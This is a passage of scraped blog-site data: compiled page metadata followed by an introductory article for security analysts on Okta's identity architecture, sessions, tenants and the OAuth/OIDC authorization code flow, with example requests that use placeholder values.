h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Christophe Alladoum","slug":"christophe-alladoum","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,h=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),_=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of d(e))!h.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var g=(t,e,n)=\u003e(n=t!=null?l(f(t)):{},u(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),j=t=\u003eu(a({},\"__esModule\",{value:!0}),t);var i=p((b,c)=\u003e{c.exports=_jsx_runtime});var F={};_(F,{default:()=\u003eD,frontmatter:()=\u003eC});var r=g(i()),C={title:\"Christophe Alladoum\",slug:\"christophe-alladoum\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=M;return j(F);})();\n;return Component;"},"_id":"authors/christophe-alladoum.mdx","_raw":{"sourceFilePath":"authors/christophe-alladoum.mdx","sourceFileName":"christophe-alladoum.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/christophe-alladoum"},"type":"Author","imageUrl":"","url":"/authors/christophe-alladoum"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Starter guide to understanding Okta","slug":"starter-guide-to-understanding-okta","date":"2024-01-23","description":"This article delves into Okta's architecture and services, laying a solid foundation for threat research and detection engineering. Essential reading for those aiming to master threat hunting and detection in Okta environments.","image":"photo-edited-09.png","subtitle":"An introduction for security analysts","body":{"raw":"\n# Preamble\nThe evolution of digital authentication from simple, unencrypted credentials to today’s advanced methods underscores the importance of data security. As organizations adapt to hybrid deployments and integral application access is no longer within the perimeter of a network, inherited authentication complexity and risk ensue. The adoption of standard authentication protocols and advanced workflows is mandatory to not only reduce risk but also maintain operational stability amongst users who require access to various applications. Okta provides solutions to these inherent industry problems with its comprehensive SaaS platform for Identity and Access Management (IAM) services.\n\nWe will examine Okta's services and solutions in the context of Software-as-a-Service (SaaS) platforms and against the backdrop of the broader threat landscape. We'll explore historical and potential vulnerabilities to understand their origins and impacts. This article will provide insights into:\n\n - Universal Directory (UD)\n - Data Model\n - API Access Management\n - Access Policies\n - Session Management\n - Tenants\n - Authorization Workflows\n - Authentication Workflows.\n\nWith a deeper understanding of Okta, security practitioners may leverage this knowledge to accurately assess attack surfaces where Okta is deployed.\n\n# Okta's offerings\n\n## Overview of core services\n\nIn this introduction, we delve into the core services provided by Okta. Primarily, Okta is a SaaS platform, specializing in scalable Identity and Access Management (IAM) solutions. Central to its offerings are technologies such as Single Sign-On (SSO), Multi-Factor Authentication (MFA), and support for complex multi-tenant architectures. Okta also boasts a robust suite of RESTful APIs, facilitating seamless Create, Read, Update, and Delete (CRUD) operations.\n\nAt the heart of Okta’s IAM solutions lie users, groups, and policies. The platform provides comprehensive lifecycle management and a UD, allowing seamless IAM across hybrid environments encompassing applications, devices, and more. This includes synchronization capabilities with external directories like LDAP or Active Directory (AD), ensuring a unified identity management system.\n\nA key aspect of Okta's service is its dual role as both a Service Provider (SP) and an Identity Provider (IdP). This dual functionality enables Okta to facilitate secure and seamless authentication via its [Identity Engine](https://help.okta.com/oie/en-us/content/topics/identity-engine/oie-index.htm), and robust authorization using standard protocols such as OAuth, while also supporting authentication protocols such as Security Assertion Markup Language (SAML) and OpenID Connect (OIDC).\n\nFor customers, Okta offers valuable tools for security and compliance. [System logs](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/SystemLog/), environment-based events that are stored and retrievable via API, provide insights into user activities and organizational events. These logs are crucial for Security Information and Event Management (SIEM) systems, aiding in the detection of anomalies and potential threats.\n\nAdditionally, Okta's [ThreatInsight](https://help.okta.com/en-us/content/topics/security/threat-insight/about-threatinsight.htm) feature stands out as a proactive security measure. It aggregates and analyzes system logs, dynamically identifying and responding to potential threats. This includes recognizing patterns indicative of malicious activities such as password spraying, credential stuffing, and detecting suspicious IP addresses. These features collectively enhance the security posture of organizations, fortifying them against a wide array of cyber threats.\n\n## Integration capabilities\n\nAside from some of the many offerings, Okta is very developer-friendly with various other SaaS solutions and applications. Out of the box, Okta contains an [integration network](https://www.okta.com/integrations/) that allows seamless integration with other applications such as Slack, Google Workspace, Office 365, GitHub, and many more.\n\nOkta’s [RESTful APIs](https://developer.okta.com/docs/reference/core-okta-api/) follow the System for Cross-domain Identity Management ([SCIM](https://datatracker.ietf.org/doc/html/rfc7644)) protocol. This allows for straightforward Create, Read, Update, and Delete (CRUD) operations on users and groups by applications or developers, but also enables standardization within the SaaS ecosystem. SCIM is a pivotal component of Okta's scalability. As businesses expand, the need to integrate an increasing number of users, groups, and access controls across various SaaS platforms grows. SCIM addresses this challenge by standardizing how user identity data is communicated between these platforms. This standardization facilitates the process of user management, especially in synchronizing user information across different systems.\n\nOkta’s object management regarding APIs is focused on several domains listed below:\n\n - Apps API - Manage applications and their association with users and groups.\n - Users API - CRUD operations on users.\n - Sessions API - Creates and manages user’s authentication sessions.\n - Policy API - Creates and manages settings such as a user’s session lifetime.\n - Factors API - Enroll, manage, and verify factors for MFA.\n - Devices API - Manage device identity and lifecycles.\n\nWhen integrations are added to an Okta organization, authentication policies, both fine-grained and global, can be set up for access control based on end-user attributes stored within the user’s Okta profile.\n\n# Universal directory\n\nAt the core of Okta’s user, group, policy, and device management is the [UD](https://www.okta.com/products/universal-directory). This is a single pane view of all assets, whether sourced from Okta, an integration, or a secondary directory service such as AD.\n\nThe UD is technically an Okta-managed, centralized, and cloud-based repository for all user, group, device, and policy profiles. Okta is either the source of truth regarding IAM or synchronizes with other federation services and identity providers such as AD or Google Workspace. The UD is accessible behind Okta’s core APIs for CRUD operations and used in conjunction with their single sign-on (SSO) platform, thus providing authentication and authorization to linked integrations or the admin console itself. Everything from user management to streamlined password management is enabled by the UD.\n\nIn conclusion, the UD classifies as a directory-as-a-service ([DaaS](https://jumpcloud.com/daas-glossary/directory-as-a-service-daas)), similar to AWS directory service, Microsoft’s Entra ID and many more.\n\n## Customization and management\n\nAdding a bit more depth to the UD, profile customization is accessible. This enables an organization to store a record of information regarding users and groups that contain specific attributes. Base attributes are assigned by Okta, but custom attributes can be added as well between user, group, and app [user profiles](https://developer.okta.com/docs/concepts/user-profiles/). Attribute mappings are important for synchronization and data exchanges between integrations and other directory services. For example, the AD attribute givenName can be mapped specifically to FirstName and LastName in Okta. Aside from synchronization, this is important for other Okta-related features such as [inline hooks](https://developer.okta.com/docs/concepts/inline-hooks/), directory rules and actions, and more.\n\nAdditionally, this enables rich SAML assertions and [WS-Federation](https://auth0.com/docs/authenticate/protocols/ws-fed-protocol) claims where applications can utilize this information to create rich user accounts, update accounts, or create complex authorization and authentication decisions.\n\nThere are additional [autonomous provisioning and deprovisioning](https://help.okta.com/en-us/content/topics/provisioning/lcm/con-okta-prov.htm) options available as well with the UD and internal profiles, important for scalability and administrative tasks such as controlling which user types can access which applications, thus enabling more traditional role-based access control (RBAC) policies.\n\n## Integration with external directories\n\nAs mentioned previously, the Okta [Directory Integration](https://www.okta.com/resources/whitepaper/ad-architecture/) can synchronize with external directories such as LDAP, AD, Google Workspace and others. For cloud-based DaaS platforms, Okta leverages RESTful APIs and the SCIM protocol to perform data exchanges and more. For on-premise environments, Okta has an AD [endpoint agent](https://help.okta.com/en-us/content/topics/directory/ad-agent-new-integration.htm) that can be deployed and thus pulls information from directory services and ships it back to the UD. \n\nAlternatively, Desktop SSO (DSSO) provides an [agentless](https://help.okta.com/en-us/content/topics/directory/configuring_agentless_sso.htm) option as well. This supplies flexibility to cloud, on-premise or hybrid based environments all while continuing scalability and direct integration with 3rd-party applications. Architecturally, this solves the many pitfalls of LAN-based environments, where applications are served to domain users behind a firewall. From a security perspective, credentials and profiles are then synchronized from all application directories into a single “source-of-truth”: Okta. It is much more approachable to audit a single directory as well in an instance where, for example, a disgruntled employee is no longer employed, and thus access across various applications must be deactivated. Single Log-Off ([SLO](https://help.okta.com/en-us/content/topics/apps/apps_single_logout.htm)) is thus available for such situations thanks to these external directory integration capabilities.\n\nFinally, we must not overlook the amount of maintenance this potentially reduces for organizations who may not have the resources to manage SAML, OAuth, and SCIM communications between RESTful APIs or compatibility issues between integrations as Okta manages this for them.\n\nAdditional solutions and examples of Okta providers with external directory support for AD can be found [here](https://www.okta.com/resources/whitepaper/ad-architecture/).\n\n# Data model\n\nAs we traverse through the Okta landscape, understanding Okta’s [data models](https://developer.okta.com/docs/concepts/okta-data-model/) is important to security practitioners who may be tasked with threat hunting, detection logic, and more.\n\n## Structure and design\n\nWhen Okta is first established for an organization, it inherits its own “space” where applications, directories, user profiles, authentication policies, and more are housed. A top-level directory resource is given as a “base” for your organization where entities can be sourced from Okta or externally (LDAP, AAD, Google Workspace, etc.).\n\nOkta users are higher-privileged users who typically leverage the Okta [admin console](https://help.okta.com/en-us/content/topics/dashboard/dashboard.htm) and perform administrative tasks, while end users are those who may rely on Okta for SSO, access to applications and more.\n\nBy default, entities in Okta are referred to as resources. Each resource has a combined set of default and custom attributes as discussed before. Links then describe relationships or actions that are acceptable for a resource, such as a deactivation link. This information is then aggregated into a profile which is then accessible from within the UD. Groups are made up of users more as a label to a specific set of users.\n\nApplications hold information about policies for access related to users and groups, as well as how to communicate with each integrated application. Together, the data stored about application access and related users is stored as an [AppUser](https://support.okta.com/help/s/article/The-Okta-User-Profile-And-Application-User-Profile?language=en_US) and if mapping is done correctly between directories, enables access for end users.\n\nA policy contains a set of conditions and rules that affect how an organization behaves with applications and users. Policies are all-encompassing in Okta, meaning they are used for making decisions and completing actions such as - what is required for a password reset or how to enroll in MFA. These rules can be expressed using the Okta Expression Language ([OEL](https://developer.okta.com/docs/reference/okta-expression-language-in-identity-engine/)).\n\nDedicated [authorization servers](https://developer.okta.com/docs/concepts/auth-servers/) are used per organization to provide authorization codes and tokens for access to applications by API or resources. Here, authorization and authentication protocols such as OAuth, OIDC, and SAML are vital for workflows. These authorization servers are also responsible for communication with third-party IdPs such as Google Workspace. End users who may seek access to applications are entangled in communication between authorization servers and SPs as codes and tokens are exchanged rapidly to confirm authorization and authentication.\n\nAltogether, this structure and design support scalability, customization, and seamless integration.\n\n# API access management\n\nAPI access management is not only important for end users, administrators, and developers but also for integration-to-integration communication. Remember that at the forefront of Okta are its various RESTful [API endpoints](https://developer.okta.com/docs/reference/core-okta-api/#manage-okta-objects).\n\nWhile we won’t dive deep into the design principles and object management of Okta’s APIs, we will attempt to discuss core concepts that are important for understanding attack surfaces later in this blog series.\n\n## API Security\n\n### OAuth 2.0 and OIDC implementation\n\nUnderstanding the core protocols of [OAuth](https://auth0.com/docs/authenticate/protocols/oauth) and [OIDC](https://auth0.com/docs/authenticate/protocols/openid-connect-protocol) is key before exploring various authorization and authentication workflows. OAuth, an open standard for delegated authorization in RESTful APIs, operates over HTTPS, enabling secure, delegated access using access tokens instead of credentials. These tokens, cryptographically signed by the Identity Provider (IdP), establish a trust relationship, allowing applications to grant user access. The typical OAuth workflow involves user access requests, user authentication, proof-of-authorization code delivery, and token issuance for API requests. Access tokens are verified with the IdP to determine access scope.\n\nOIDC ([API endpoints](https://developer.okta.com/docs/reference/api/oidc/#endpoints)) builds upon OAuth for authentication, introducing identity-focused scopes and an ID token in addition to the access token. This token, a JSON Web Token ([JWT](https://developer.okta.com/blog/2020/12/21/beginners-guide-to-jwt)), contains identity information and a signature, crucial for SSO functionality and user authentication. Okta, as a certified OIDC provider, leverages these endpoints, especially when acting as an authorization server for Service Providers (SPs).\n\nDemonstrating Proof-of-Possession ([DPoP](https://developer.okta.com/docs/guides/dpop/main/#oauth-2-0-dpop-jwt-flow)) is crucial in this context, enhancing security by preventing misuse of stolen tokens through an application-level mechanism. It involves a public/private key pair where the public key, embedded in a JWT header, is sent to the authorization server. The server binds this public key to the access token, ensuring secure communication primarily between the user’s browser and the IdP or SP.\n\n[Tokens](https://developer.okta.com/docs/guides/tokens/) and API keys in Okta’s API Access Management play a vital role, acting as digital credentials post-user authentication. They are transmitted securely via HTTPS and have a limited lifespan, contributing to a scalable, stateless architecture.\n\nLastly, understanding End-to-End Encryption (E2EE) is essential. E2EE ensures that data is encrypted at its origin and decrypted only by the intended recipient, maintaining security and privacy across the ecosystem. This encryption, using asymmetric cryptography, is a default feature within Okta’s APIs, safeguarding data across applications, browsers, IdPs, and SPs.\n\n## RESTful API and CRUD\n\nOkta's RESTful API adheres to a standardized interface design, ensuring uniformity and predictability across all interactions. This design philosophy facilitates CRUD (Create, Read, Update, Delete) operations, making it intuitive for developers to work with Okta's API. Each [API endpoint](https://developer.okta.com/docs/reference/core-okta-api/) corresponds to standard HTTP methods — POST for creation, GET for reading, PUT for updating, and DELETE for removing resources. This alignment with HTTP standards simplifies integration and reduces the learning curve for new developers.\n\nA key feature of Okta providing a RESTful API is its statelessness — each request from client to server must contain all the information needed to understand and complete the request, independent of any previous requests. This approach enhances scalability, as it allows the server to quickly free resources and not retain session information between requests. The stateless nature of the API facilitates easier load balancing and redundancy, essential for maintaining high availability and performance even as demand scales.\n\n## SCIM\n\nSCIM (System for Cross-domain Identity Management) is an open standard that automates user identity management across various cloud-based applications and services. Integral to Okta's API Access Management, SCIM ensures seamless, secure user data exchange between Okta and external systems. It standardizes identity information, which is essential for organizations using multiple applications, reducing complexity and manual error risks.\n\nWithin Okta, SCIM’s role extends to comprehensive user and group management, handling essential attributes like usernames, emails, and group memberships. These are key for access control and authorization. Okta’s SCIM implementation is customizable, accommodating the diverse identity management needs of different systems. This adaptability streamlines identity management processes, making them more automated, efficient, and reliable - crucial for effective API access management.\n\nMore information on SCIM can be found in [RFC 7644](https://datatracker.ietf.org/doc/html/rfc7644) or by [Okta](https://developer.okta.com/docs/concepts/scim/#how-does-scim-work).\n\n## Access policies\n\nOkta's [access policies](https://developer.okta.com/docs/concepts/policies/) play a critical role in managing access to applications and APIs. They can be customized based on user/group membership, device, location, or time, and can enforce extra authentication steps for sensitive applications. These policies, stored as JSON in Okta, allow for:\n\n - Creating complex authorization rules.\n - Specifying additional authentication levels for Okta applications.\n - Managing user access and modifying access token scopes with inline hooks.\n\nKey Policy Types in Okta include:\n\n - *Sign-On Policies*: Control app access with IF/THEN rules based on context, like IP address.\n - *Global Session Policy*: Manages access to Okta, including factor challenges and session duration.\n - *Authentication Policy*: Sets extra authentication requirements for each application.\n - *Password Policy*: Defines password requirements and recovery operations.\n - *Authenticator Enrollment Policy*: Governs multifactor authentication method enrollment.\n \n Policy effectiveness hinges on their sequential evaluation, applying configurations when specified conditions are met. The evaluation varies between the AuthN and Identity Engine pipelines, with the latter considering both global session and specific authentication policies.\n\nAdditionally, [Network Zones](https://help.okta.com/en-us/content/topics/security/network/network-zones.htm) in Okta enhances access control by managing it based on user connection sources. These zones, allowing for configurations based on IP addresses and geolocations, integrate with access policies to enforce varied authentication requirements based on network origin. This integration bolsters security and aids in monitoring and threat assessment.\n\n# Session management\n\nIn web-based interactions involving Identity Providers (IdPs) like Okta and Service Providers (SPs), the concept of a session is central to the user experience and security framework. A session is typically initiated when an end-user starts an interaction with an IdP or SP via a web browser, whether this interaction is intentional or inadvertent.\n\nTechnically, a session represents a state of interaction between the user and the web service. Unlike a single request-response communication, a session persists over time, maintaining the user's state and context across multiple interactions. This persistence is crucial, as it allows the user to interact with web services without needing to authenticate for each action or request after the initial login.\n\nA session can hold a variety of important data, which is essential for maintaining the state and context of the user's interactions. This includes, but is not limited to:\n\n*Cookies*: These are used to store session identifiers and other user-specific information, allowing the web service to recognize the user across different requests.\n\n*Tokens*: Including access, refresh, and ID tokens, these are critical for authenticating and authorizing the user, and for maintaining the security of their interactions with the web service.\n\n*User Preferences and Settings*: Customizations or preferences set by the user during their interaction.\n\n*Session Expiration Data*: Information about when the session will expire or needs to be refreshed. This is vital for security, ensuring that sessions don’t remain active indefinitely, which could pose a security risk.\n\nThe management of sessions, particularly their creation, maintenance, and timely expiration is a crucial aspect of web-based services. Effective session management ensures a balance between user convenience — by reducing the need for repeated logins — and security — by minimizing the risk of unauthorized access through abandoned or excessively long-lived sessions. In the interactions between the end-user, IdP, and SP, sessions facilitate a seamless yet secure flow of requests and responses, underpinning the overall security and usability of the service.\n\n### Session initialization and authentication:\n\nOkta manages [user sessions](https://developer.okta.com/docs/concepts/session/) beginning with the IdP session, which is established when a user successfully authenticates using their credentials, and potentially multi-factor authentication (MFA). This IdP session is key to accessing various applications integrated into an organization's Okta environment. For instance, an HTTP POST request to Okta's ```/api/v1/authn``` endpoint initiates this session by validating the user's credentials. In addition, the [Sessions endpoint API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Session/) can help facilitate creation and management at ```/api/v1/sessions```.\n\nOkta primarily uses cookies for session management, specifically in the context of identity provider (IdP) sessions. These cookies are crucial for maintaining the session state and user context across HTTP requests within the Okta environment. A typical session cookie retrieval for the end-user’s browser goes as follows:\n\n 1. IdP or SP-initiated application access request\n 2. Authentication request either via OIDC or SAML\n 3. After successful credential validation, a session token is returned\n 4. Redirection to OIDC endpoint, session redirection, or application embed link for session cookie\n\nAs detailed, when a user successfully authenticates, Okta ultimately sets a session cookie in the user’s browser. This cookie is then used to track the user session, allowing for seamless interaction with various applications without the need for re-authentication.\n\n### Tokens vs cookies:\n\nWhile Okta utilizes tokens like ID and access tokens for API access and authorization, these tokens serve a different purpose from session cookies. Tokens are typically used in API interactions and are not responsible for maintaining the user’s session state. In contrast, session cookies are specifically designed for maintaining session continuity within the web browser, making them essential for web-based SSO and session management within Okta.\n\nSession tokens are similar to client-side secrets, just like authorization codes during authorization requests. These secrets, along with the correct requests to specific API endpoints can allow an end-user, or adversary, to obtain a session cookie or access token which can then be used to make authenticated/authorized requests on behalf of the user. This should warrant increased security measures for session management and monitoring.\n\n### Single sign-on (SSO):\n\n[SSO](https://www.okta.com/blog/2021/02/single-sign-on-sso/) is a critical feature in Okta's session management, allowing users to access multiple applications with a single set of credentials. This is achieved through protocols like SAML and OIDC, where an HTTP(S) request to the SAML endpoint, for instance, facilitates user authentication and grants access across different applications without the need for repeated logins.\n\nIn Single Sign-On (SSO) scenarios, Okta’s session cookies play a vital role. Once a user is authenticated and a session is established, the same session cookie facilitates access to multiple applications within the SSO framework by bundled with every service provider request. This eliminates the need for the user to log in separately to each application, streamlining the user experience.\n\n### Session termination:\n\nTerminating a session in Okta can occur due to expiration. This can also occur from a user, SP, or IdP-initiated sign-out. An HTTP GET request to Okta's ```/api/v1/sessions/me``` endpoint can be used to terminate the user’s session. In the case of SSO, this termination can trigger a single logout (SLO), ending sessions across all accessed applications.\n\n### Application sessions and additional controls:\n\nApplication sessions are specific to the application a user accesses post-authentication with the IdP. Okta allows fine-grained control over these sessions, including different expiration policies for privileged versus non-privileged applications. Additionally, administrators can implement policies for single logout ([SLO](https://support.okta.com/help/s/article/What-SLO-does-and-doesnt-do?language=en_US)) or local logout to further manage session lifecycles.\n\nUnderstanding the mechanics of session initiation, management, and termination, as well as the role of tokens and cookies, is foundational for exploring deeper security topics. This knowledge is crucial when delving into areas like attack analysis and session hijacking, which will be discussed in later parts of this blog series.\n\nMore information on sessions can be found in [Session management with Okta](https://developer.okta.com/docs/concepts/session/#application-session) or [Sessions for Developers](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Session/).\n\n# Tenants\n\nIn the SaaS realm, a [tenant](https://developer.okta.com/docs/concepts/multi-tenancy/) is a distinct instance of software and infrastructure serving a specific user group. In Okta's [multi-tenant](https://developer.okta.com/docs/concepts/multi-tenancy/) platform, this concept is key for configuring access control. Tenants can represent various groups, from internal employees to external contractors, each requiring unique access to applications. This is managed through Okta, serving as the IdP.\n\nTenants are versatile within Okta: they can be tailored based on security policies, user groups, roles, and profiles, allowing them to operate independently within the organization. This independence is crucial in multi-tenant environments, where distinct tenants are segregated based on factors like roles, data privacy, and regulatory requirements. Such setups are common in Okta, enabling users to manage diverse access needs efficiently.\n\nIn multi-org environments, Okta facilitates tenants across separate organizations through its UD. The configuration of each tenant is influenced by various factors including cost, performance, and data residency, with user types and profiles forming the basis of tenant setup. Additionally, features like delegated admin support and DNS customization for post-sign-in redirects are instrumental in managing tenant access.\n\nUnderstanding the nuances of tenant configuration in Okta is vital, not only for effective administration but also for comprehending potential security challenges, such as the risk of [poisoned tenants](https://github.com/pushsecurity/saas-attacks/blob/main/techniques/poisoned_tenants/description.md).\n\n# Authorization workflow\n\nAs we discussed earlier, Okta - being an IdP - provides an authorization server as part of its services. It is critical to understand the authorization workflow that happens on the front and back-end channels. For this discussion and examples, we will use the client (end-user), authorization server (Okta), and SP (application server) as the actors involved.\n\n## OAuth 2.0 and OIDC protocols\n\n### High-level overview of OAuth\n\nOAuth 2.0, defined in [RFC 6749](https://datatracker.ietf.org/doc/html/rfc6749), is a protocol for authorization. It enables third-party applications to gain limited access approved by the end-user or resource owner. Operating over HTTPS, it grants access tokens to authorize users, devices, APIs, servers, and applications.\n\nKey OAuth terminology:\n\n[Scopes](https://www.oauth.com/oauth2-servers/scope/defining-scopes/): Define the permissions granted within an access token. They represent session permissions for each interaction with a resource server.\n\nConsent: A process where end users or clients agree or disagree with the permissions (scopes) requested by a client application. For example, a consent screen in Google Workspace.\n\n[Tokens](http://Tokens): Includes access tokens for resource access and refresh tokens for obtaining new access tokens without re-authorizing.\n\n[Grants](https://auth0.com/docs/get-started/applications/confidential-and-public-applications): Data sent to the authorization server to receive an access token, like an authorization code granted post-authentication.\n\n[Clients](https://auth0.com/docs/get-started/applications/confidential-and-public-applications): In OAuth, clients are either 'confidential', able to securely store credentials, or 'public', which cannot.\n\nAuthorization Server: Mints OIDC and OAuth tokens and applies access policies, each with a unique URI and signing key.\n\n[Authorization Endpoint](https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/#:~:text=The%20user%20authenticates%20with%20their,server%20issues%20an%20authorization%20code.): An API endpoint (/oauth/authorize) for user interaction and authorization.\n\n[Token Endpoint](https://cloudentity.com/developers/basics/oauth-grant-types/authorization-code-flow/#:~:text=The%20user%20authenticates%20with%20their,server%20issues%20an%20authorization%20code.): An API endpoint (/oauth/token) for clients to obtain access or refresh tokens, typically requiring a grant type like authorization code.\n\nResource Server (or Service Provider, SP): Provides services to authenticated users, requiring an access token.\n\nFront-end Channel: Communication between the user’s browser and the authorization or resource server.\n\nBack-end Channel: Machine-to-machine communication, such as between resource and authorization servers.\n\nThis streamlined overview covers the essentials of OAuth in the Okta ecosystem, focusing on its function, key terms, and components.\n\n### High-level overview of OIDC\n\nAt the beginning of this blog, we also discussed how [OIDC](https://openid.net/specs/openid-connect-core-1_0.html) is an identity authentication protocol that sits on top of the OAuth authorization framework. While OAuth provides authorization, it has no current mechanism for authentication, thus where OIDC protocol comes in handy. The identity of the authenticated user is often called the resource owner.\n\nThe OIDC connect flow looks similar to the OAuth flow, however during the initial HTTPS request, scope=openid is added to be used so that not only an access token is returned from the authorization server but an ID token as well.\n\nThe ID token is formatted as a JSON Web Token (JWT) so that the client can extract information about the identity. This is unlike the access token, which the client passes to the resource server every time access is required. Data such as expiration, issuer, signature, email, and more can be found inside the JWT - these are also known as claims.\n\n## Authorization code flow\n\n### Step 1 - Initial authorization request:\n\nThe authorization code flow is initiated when the client sends an HTTP GET request to Okta’s authorization endpoint. This request is crucial in establishing the initial part of the OAuth 2.0 authorization framework.\n\nHere’s a breakdown of the request components:\n\n - Endpoint: The request is directed to ```/oauth2/default/v1/authorize```, which is Okta’s authorization endpoint\n - Parameters:\n - ```response_type=code```: This parameter specified that the application is initiating an authorization code grant type flow.\n - ```client_id```: The unique identifier for the client application registered with Okta.\n - ```redirect_uri```: The URL to which Okta will send the authorization code.\n - ```scope```: Defines the level of access the application is requesting.\n\nExample Request:\n\n```\nGET /oauth2/default/v1/authorize?response_type=code \\ \n\u0026client_id=CLIENT_ID\u0026redirect_uri=REDIRECT_URI\u0026scope=SCOPE\n```\n\n### Step 2 - User authentication and consent:\n\nOnce the request is made, the user is prompted to authenticate with Okta and give consent for the requested scopes. This step is fundamental for user verification and to ensure that the user is informed about the type of access being granted to the application.\n\n### Step 3 - Authorization code reception:\n\nPost authentication and consent, Okta responds to the client with an authorization code. This code is short-lived and is exchanged for a more permanent secret to make further requests - an access token.\n\nExample token exchange request:\n\n```\nPOST /oauth2/default/v1/token\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=authorization_code\u0026\ncode=AUTHORIZATION_CODE\u0026\nredirect_uri=REDIRECT_URI\u0026\nclient_id=CLIENT_ID\u0026\nclient_secret=CLIENT_SECRET\n```\n\n### Step 4 - Redirect URIs and client authentication\n\nRedirect URIs play a pivotal role in the security of the OAuth 2.0 flow. They are pre-registered URLs to which Okta sends the authorization code. The integrity of these URIs is paramount, as they ensure that the response is only sent to the authorized client.\n\nThe client application is authenticated at the token endpoint, usually by providing the ```client_id``` and ```client_secret```. This step is crucial to verify the identity of the client application and prevent unauthorized access.\n\n### Step 5 - Token exchange\n\nIn the final step, the client makes an HTTP POST request to Okta’s token endpoint, exchanging the authorization code for an access token. This access token is then used to make API requests on behalf of the user.\n\nThe inclusion of client credentials (client ID and client secret) in this request is a critical security measure, ensuring that the token is only issued to the legitimate client. \n\n## Access tokens and scopes\n\nAn [access token](https://www.okta.com/identity-101/access-token/) is a compact code carrying extensive data about a user and their permissions. It serves as a digital key, facilitating communication between a server and a user's device. Commonly used in various websites, access tokens enable functionalities like logging in through one website (like Facebook) to access another (like Salesforce).\n\n### Composition of an access token:\n\nAn access token typically comprises three distinct parts, each serving a specific purpose:\n\n - *Header*: This section contains metadata about the token, including the type of token and the algorithm used for encryption.\n - *Payload (claims)*: The core of the token, includes user-related information, permissions, group memberships, and expiration details. The payload dictates whether a user can access a specific resource, depending on the permissions granted within it. Developers can embed custom data in the payload, allowing for versatile applications, such as a single token granting access to multiple APIs.\n - *Signature*: A hashed verification segment that confirms the token's authenticity. This makes the token secure and challenging to tamper with or replicate.\n\nA common format for access tokens JWT as we previously discussed, which is concise yet securely encodes all necessary information.\n\n### Scopes and permissions:\n\n[Scopes](https://developer.okta.com/docs/api/oauth2/) in OAuth 2.0 are parameters that define the level and type of access the client requests. Each scope translates into specific permissions granted to the access token. For instance, a scope of email would grant the client application access to the user's email address. The granularity of scopes allows for precise control over what the client can and cannot do with the access token, adhering to the principle of least privilege.\n\n### Token lifespan and refresh tokens:\n\nAccess tokens are inherently short-lived for security reasons, reducing the window of opportunity for token misuse in case of unintended disclosure. Okta allows customization of [token lifespans](https://support.okta.com/help/s/article/What-is-the-lifetime-of-the-JWT-tokens?language=en_US#:~:text=ID%20Token%3A%2060%20minutes,Refresh%20Token%3A%2090%20days) to suit different security postures. Once an access token expires, it can no longer be used to access resources.\n\n[Refresh tokens](https://developer.okta.com/docs/guides/refresh-tokens/main/), where employed, serve to extend the session without requiring the user to authenticate again. A refresh token can be exchanged for a new access token, thus maintaining the user's access continuity to the application. The use of refresh tokens is pivotal in applications where the user remains logged in for extended periods.\n\n### Token storage:\n\nRegarding [token storage](https://auth0.com/docs/secure/security-guidance/data-security/token-storage), browser-based applications such as those utilizing services like Okta, are vital secure storage of access tokens is a critical aspect of user session management. These tokens are typically stored using one of several methods: browser in-memory storage, session cookies, or browser local/session storage. In-memory storage, preferred for its strong defense against XSS attacks, holds the token within the JavaScript memory space of the application, although it loses the token upon page refresh or closure. Session cookies offer enhanced security by being inaccessible to JavaScript, thereby 